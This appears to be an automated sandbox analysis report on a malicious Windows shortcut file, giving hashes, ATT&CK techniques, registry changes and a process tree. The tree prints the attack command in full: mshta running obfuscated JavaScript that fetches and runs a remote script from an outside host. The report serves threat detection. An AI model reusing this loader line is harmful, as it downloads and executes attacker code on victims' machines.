f10023ad1243012f90fb60f0a4b34f6ff470c1e198654979431b6c49c7c298b2

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24/05/2024, 13:27

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General

Target

V_273686.lnk
Size

14KB
MD5

1dca9e98e575af3b1e2b90e59d75dc43
SHA1

16cc510d884cae94137a9fbf90c4d2c0f0c5d2f1
SHA256

a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3
SHA512

abbe50c0e93d99fe2c12c0c6c33204b28deeecf038f6cf11f67ba6ce770e4b95a7c3c9562512747a8df607408f342a877514e4d1d1dfedc3a5d96d9953563129
SSDEEP

384:nhjOveahqUcUXmdw7o3m7Ylw0sBsHorbqaUA/d:pOvShUXm68m00e1DY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	1764	mshta.exe
7	1764	mshta.exe
9	1764	mshta.exe
11	1764	mshta.exe
13	1764	mshta.exe
15	1764	mshta.exe
17	1764	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2588	2400	cmd.exe	29
PID 2400 wrote to memory of 2588	2400	cmd.exe	29
PID 2400 wrote to memory of 2588	2400	cmd.exe	29
PID 2588 wrote to memory of 1764	2588	cmd.exe	30
PID 2588 wrote to memory of 1764	2588	cmd.exe	30
PID 2588 wrote to memory of 1764	2588	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\V_273686.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\mshta.exe
    MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:1764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

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C:\Users\Admin\AppData\Local\Temp\Cab6B7.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

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C:\Users\Admin\AppData\Local\Temp\Tar815.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

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